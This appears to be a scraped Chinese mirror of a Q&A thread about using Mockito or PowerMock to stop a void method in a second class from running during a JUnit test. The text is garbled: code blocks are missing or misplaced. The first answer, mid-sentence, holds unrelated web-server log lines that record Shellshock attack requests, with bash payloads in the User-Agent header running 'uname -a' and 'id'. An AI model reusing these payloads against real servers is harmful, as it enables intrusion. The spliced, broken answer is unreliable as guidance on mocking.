doNothing在其他类中使用params的void方法

时间:2015-09-30 15:52:23

标签: junit mockito powermock easymock

我目前有2个班级:

unsigned char

目前,我正在为public class aClass{ public void meth1(){ bClass b = new bClass(); b.meth2();// i dont want to call this method //buss logic } } public class bClass{ public void meth2(){ // some logic } } 中的meth1创建一个junit测试用例。 不过,我不想在aClass中拨打meth2,只需执行bClass中的busslogic

aClassaClass已修复 - 我无法(也不会)更改bClassaClass上的代码。

我使用mokito和power mock尝试了许多像@ injectmock和doNothing的东西,但是当我在bClass中调用meth2时,meth1总会被调用。

我该怎么做才能解决这个问题?

3 个答案:

答案 0 :(得分:3)

You can do this with Powermockito。该链接解释了所有细节。以下是您的示例的样子。

@Mock

编辑:

当你使用@Mock模拟出bClass实例时,它会用mock方法替换该实例中的所有方法。如果你只想模仿bCLas中的一些方法,那么你必须监视bCLass实例而不是模拟它。间谍只嘲笑你想要的方法。因此,在我的示例中,只需将@Spy替换为62.210.113.143 - - [29/Sep/2015:13:36:00 -0700] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 200 18 "-" "() { foo;};echo; /bin/bash -c \"expr 299663299665 / 3; echo 333:; uname -a; echo 333:; id;\"" 62.210.113.143 - - [29/Sep/2015:13:36:00 -0700] "GET /cgi-bin/status/status.cgi HTTP/1.1" 301 266 "-" "() { foo;};echo; /bin/bash -c \"expr 299663299665 / 3; echo 333:; uname -a; echo 333:; id;\"" 62.210.113.143 - - [29/Sep/2015:13:36:00 -0700] "GET /cgi-bin/status/status.cgi HTTP/1.1" 404 71873 "-" "() { foo;};echo; /bin/bash -c \"expr 299663299665 / 3; echo 333:; uname -a; echo 333:; id;\"" 62.210.113.143 - - [29/Sep/2015:13:36:01 -0700] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 200 1963 "-" "() { foo;};echo; /bin/bash -c \"expr 299663299665 / 3; echo 333:; uname -a; echo 333:; id;\"" 62.210.113.143 - - [29/Sep/2015:13:36:03 -0700] "GET /cgi-mod/index.cgi HTTP/1.1" 301 258 "-" "() { foo;};echo; /bin/bash -c \"expr 299663299665 / 3; echo 333:; uname -a; echo 333:; id;\"" 62.210.113.143 - - [29/Sep/2015:13:36:03 -0700] "GET /cgi-mod/index.cgi HTTP/1.1" 404 71873 "-" "() { foo;};echo; /bin/bash -c \"expr 299663299665 / 3; echo 333:; uname -a; echo 333:; id;\"" 62.210.113.143 - - [29/Sep/2015:13:36:04 -0700] "GET /cgi-bin/test.cgi HTTP/1.1" 301 257 "-" "() { foo;};echo; /bin/bash -c \"expr 299663299665 / 3; echo 333:; uname -a; echo 333:; id;\"" 62.210.113.143 - - [29/Sep/2015:13:36:04 -0700] "GET /cgi-bin/test.cgi HTTP/1.1" 404 71873 "-" "() { foo;};echo; /bin/bash -c \"expr 299663299665 / 3; echo 333:; uname -a; echo 333:; id;\"" 62.210.113.143 - - [29/Sep/2015:13:36:04 -0700] "GET /cgi-bin-sdb/printenv HTTP/1.1" 301 261 "-" "() { foo;};echo; /bin/bash -c \"expr 299663299665 / 3; echo 333:; uname -a; echo 333:; id;\"" ,然后只会阻止meth2,而不会阻止bClass中的任何其他方法。

答案 1 :(得分:0)

目前,由于您无法更改AClass的约束,因此唯一的解决方案是使用Powermock(或类似工具)as Jose Martinez mentioned above。就其本身而言,Mockito无法替换构造函数(它们被视为静态方法调用),因此您唯一的解决方案是重写aClass。

对于任何未发现此问题且没有该约束的读者,bClass的快速重构将使这更容易测试。

public class aClass{    
   public void meth1(){
      meth1(new bClass());
   }

   /** Package private for testing. */
   public void meth1(bClass b){
      b.meth2();
      //buss logic
   }
}

此时,您可以传递模拟bClass并调用单参数重载来测试业务逻辑。您还可以将b.meth2()移出单参数方法,并移入公共无参数方法,如果它的行为更像是设置调用。

答案 2 :(得分:0)

你可以使用mockito ......

public class aClass {
    private final bClass b;

    public aClass() {
        this.b = new bClass()    
    }

    public aClass(bClass b) {
        this.b = b;
    }

    ....
}

@RunWith(MockitoJUnitRunner.class)        
public class aClassTest {

    @Mock
    private final bClass b;

    @InjectMocks
    private aClass a;

    ....

}